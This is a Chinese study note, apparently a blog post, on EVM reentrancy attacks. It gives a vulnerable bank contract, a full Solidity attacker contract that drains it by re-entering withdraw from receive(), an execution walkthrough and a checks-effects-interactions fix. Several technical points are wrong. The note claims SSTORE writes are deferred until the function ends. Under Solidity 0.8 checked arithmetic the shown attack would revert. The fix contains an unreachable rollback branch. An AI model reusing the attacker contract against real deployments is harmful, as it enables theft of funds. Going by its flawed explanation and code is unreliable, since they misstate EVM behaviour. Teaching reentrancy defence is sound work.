EVM学习笔记(三):重入攻击
EVM的“直觉级”漏洞:重入攻击
引言:当理论变成代码的“直觉”
在Solidity开发中,理解EVM的执行机制至关重要。本文通过两个核心案例——重入攻击和代理合约漏洞,以"先复现攻击→再原理分析→最后修复"的方式,帮助开发者建立对EVM安全机制的深层认知。这种认知不是抽象概念,而是通过实际代码执行路径形成的"肌肉记忆"。
重入攻击全解析
1.1 漏洞合约构建
我们首先构建一个存在重入漏洞的Bank合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract BadBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
// 危险操作:先执行外部调用
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "Transfer failed");
// 状态更新滞后
balances[msg.sender] -= amount;
}
}
关键漏洞点:在状态更新(balances修改)之前执行了外部调用(call),这为重入攻击创造了条件。
1.2 攻击合约实现
攻击者通过递归调用实现资金盗取:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IBadBank {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
contract ReentrancyAttacker {
IBadBank public bank;
uint256 public attackAmount;
constructor(address _bank) {
bank = IBadBank(_bank);
}
function attack() external payable {
require(msg.value > 0, "Need ETH to attack");
attackAmount = msg.value;
bank.deposit{value: msg.value}();
bank.withdraw(attackAmount);
}
// 关键回调函数
receive() external payable {
if (address(bank).balance >= attackAmount) {
bank.withdraw(attackAmount);
}
}
}
1.3 攻击执行流程(EVM视角)
-
初始状态:Bank合约余额=10 ETH,攻击者存入1 ETH
-
第一次withdraw:
- 余额检查通过(1 >= 1)
- 执行
call向攻击者转账(控制权转移) - 攻击者合约的
receive()被触发
-
递归调用:
- 在
receive()中再次调用withdraw - 由于状态尚未更新,余额检查仍通过
- 重复转账过程直到Bank余额耗尽
- 在
1.4 根本原因分析
EVM的同步调用栈模型允许:
- 控制权转移:
call操作将执行权完全交给外部合约 - 状态延迟更新:SSTORE操作在函数结束前不会生效
- 嵌套调用:同一合约的同一函数可被递归调用
这种设计使得EVM只保证代码执行顺序,而不关心业务逻辑的安全性。开发者必须自行实现状态保护机制。
1.5 安全修复方案
采用CEI(Checks-Effects-Interactions)模式:
function safeWithdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
// 1. 状态修改(Effect)
uint256 balanceBefore = balances[msg.sender];
balances[msg.sender] -= amount;
// 2. 外部调用(Interaction)
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "Transfer failed");
// 3. 异常处理(可选)
if (!ok) {
balances[msg.sender] = balanceBefore;
}
}